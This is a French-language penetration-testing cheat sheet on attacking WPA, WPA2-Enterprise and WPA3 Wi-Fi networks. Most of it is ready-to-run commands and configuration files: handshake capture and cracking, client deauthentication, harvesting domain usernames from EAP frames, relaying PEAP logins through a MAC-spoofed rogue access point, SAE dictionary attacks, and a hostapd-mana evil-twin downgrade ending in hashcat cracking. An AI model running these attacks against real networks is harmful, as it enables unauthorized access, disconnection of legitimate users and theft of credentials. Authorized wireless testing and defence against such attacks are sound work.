WPA
Pour un rappel sur les protocoles WPA/WPA2/WPA3 : Voir ici
Protocole WPA-Personnal (PSK)
Dans le cas d’un WPA avec Pre-Shared Key (PSK), une solution simple est de lancer une écoute réseau et capturer un handshake. Celui-ci pourra ensuite faire l’objet d’un bruteforce pour identifier la clé.
airodump-ng $IFACE --output-format pcap --bssid $BSSID -w $OUTPUT_FILE -c $CHANNELIl est aussi possible de déauthentifier un client dans le but d’intercepter plus rapidement une authentification :
aireplay-ng $IFACE -0 0 -a $AP_MAC -c $CLIENT_MACPuis lorsqu’une authentification est interceptée, casser le handshake présent dans la capture pcap :
aircrack-ng -w $WORDLIST -b $BSSID $PCAP_FILEProtocole WPA-Enterprise (MGT)
Méthodes d’authentification
Plusieurs méthodes d’authentification existent au sein du protocole WPA/WPA2-Enterprise :
EAP-GTC (Generic Token Card) :
EAP-MD5 : Cette méthode implique l’envoi du hash MD5 du mot de passe depuis le client. Elle n’est pas recommandée en raison de sa vulnérabilité aux attaques par dictionnaires.
EAP-TLS : Cette méthode utilise des certificats côté client et côté serveur pour l’authentification.
EAP-TTLS (Tunneled Transport Layer Security) : Cette méthode fournit une authentification mutuelle via un tunnel chiffré, ainsi qu’une méthode pour dériver des clés WEP dynamiques, par utilisateur et par session. Il ne nécessite que des certificats côté serveur, les clients utilisant des informations d’identification.
PEAP (Protected Extensible Authentication Protocol) :
Afin de lister les méthodes qui sont supportées par le serveur RADIUS, il est possible d’utiliser le script EAP_buster.sh :
./EAP_buster.sh $EAP_ESSID $EAP_IDENTITY $WIFI_INTERFACEIl est également possible de capturer le trafic réseau et de voir directement les méthodes utiliées en filtrant sur le protocole EAP :
Reconnaissance
Enumération d’utilisateurs
Dans certaines configurations, il est possible d’énumérer les utilisateurs du domaine qui se connectent au réseau Wi-Fi, via les trames EAP Identity.
Pour cela, il suffit de se mettre en écoute sur le réseau en attente d’une authentification EAP. Cette étape peut être réalisée avec airodump-ng :
airodump-ng $IFACE --bssid $BSSID --write $OUTPUT_FILE --output-format pcapEnsuite, il suffit d’ouvrir la capture avec Wireshark, faire un filtre sur le protocole EAP pour y voir plus clair, et chercher un packet Response, Identity. Dans les données de cette trame, se trouveront le nom de l’utilisateur qui a réalisé l’authentification :
Une autre solution serait d’utiliser le script Python crEAP.py :
./crEAP.py --pcap $CAPTURE_FILEExploitation
Relais d’authentification
Cette attaque consiste à relayer une authentification qui a lieu sur un RogueAP, après déauthentification d’un client, vers le point d’accès original sur lequel nous souhaitons nous authentifier. L’outil permettant de réaliser ce relais est wpa_sycophant.
Dans un premier temps, nous souhaitons usurper l’adresse MAC du point d’accès victime sur l’interface avec laquelle nous lanceront le RogueAP :
systemctl stop network-manager
ip link set wlan1 down
macchanger -m $AP_MAC wlan1
ip link set wlan1 upEnsuite, modifier le fichier de configuration de wpa_sycophant en modifiant l’ESSID et le BSSID du RogueAP qui sera mis en liste noire (afin de ne pas se relayer soi-même) :
network={
ssid="$ESSID"
scan_ssid=1
key_mgmt=WPA-EAP
identity=""
anonymous_identity=""
password=""
eap=PEAP
phase1="crypto_binding=0 peaplabel=0"
phase2="auth=MSCHAPV2"
bssid_blacklist=$ROGUEAP_BSSID
}Pour lancer un RogueAP qui sera connecté à wpa_sycophant, nous allons cette fois utiliser l’outil berate_ap :
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout $OUTPUT_FILE $IFACE lo $ESSIDLancer ensuite wpa_sycophant sur une autre interface réseau :
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i $IFACEPuis déauthentifier le client que l’on cible afin qu’il se connecte sur notre RogueAP :
aireplay-ng -0 0 wlan0mon -a $AP_MAC -c $CLIENT_MACDans le cas où le relais fonctionne, on fini par observer une phrase “CTRL-EVENT-CONNECTED - Connection to f0:9f:c2:7a:33:28 completed [id=0 id_str=]” dans berate-ap. Il reste alors plus qu’à s’attribuer une adresse IP sur l’interface réseau sur laquelle on a lancé wpa_sycophant :
dhclient -v $IFACEProtocole WPA3 SAE
SAE (Simultaneous Authentication of Equals) est une méthode d’authentification basée sur un mot de passe et un accord de clés authentifié par mot de passe. Cela remplace alors l’authentification PSK par une méthode plus sécurisée, notamment au niveau de l’échange de clé initial.
Attaque par dictionnaire
Le script Python wacker permet de réaliser une attaque par dictionnaire de manière assez rapide sur le mot de passe :
python3 wacker.py --wordlist $WORDLIST --ssid $SSID --bssid $BSSID --interface $IFACE --freq $FREQDowngrade a WPA2
Dans le cas de réseaux WPA3 mal implémentés, l’authentification peut inclure à la fois SAE et PSK. Dans ces cas-là, il est possible de créer un Evil Twin en WPA2-PSK et de déauthentifier un utilisateur connecté afin de le faire se connecter chez nous. Avec hostapd-mana, créer le fichier de configuration suivant :
interface=$IFACE
driver=nl80211
hw_mode=g
channel=$CHANNEL
ssid=$SSID
mana_wpaout=hostapd.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678Lancer ensuite le serveur :
hostapd-mana $CONF_FILEDans un second temps, identifier un client connecté au point d’accès WPA3 initial et le déauthentifier avec aireplay-ng :
aireplay-ng $IFACE -0 0 -a $AP_MAC -c $CLIENT_MACUn fichier hostapd.hccapx sera généré, il faudra dans un premier temps le convertir en pcap :
hcxhash2cap --hccapx=hostapd.hccapx -c $PCAP_OUTPUTPuis en extraire l’empreinte du mot de passe dans un format que hashcat peut comprendre :
hcxpcapngtool $PCAP_FILE -o $HASH_OUTPUTEnfin, casser le hash avec hashcat :
hashcat -a 0 -m 22000 $HASH_FILE $WORDLIST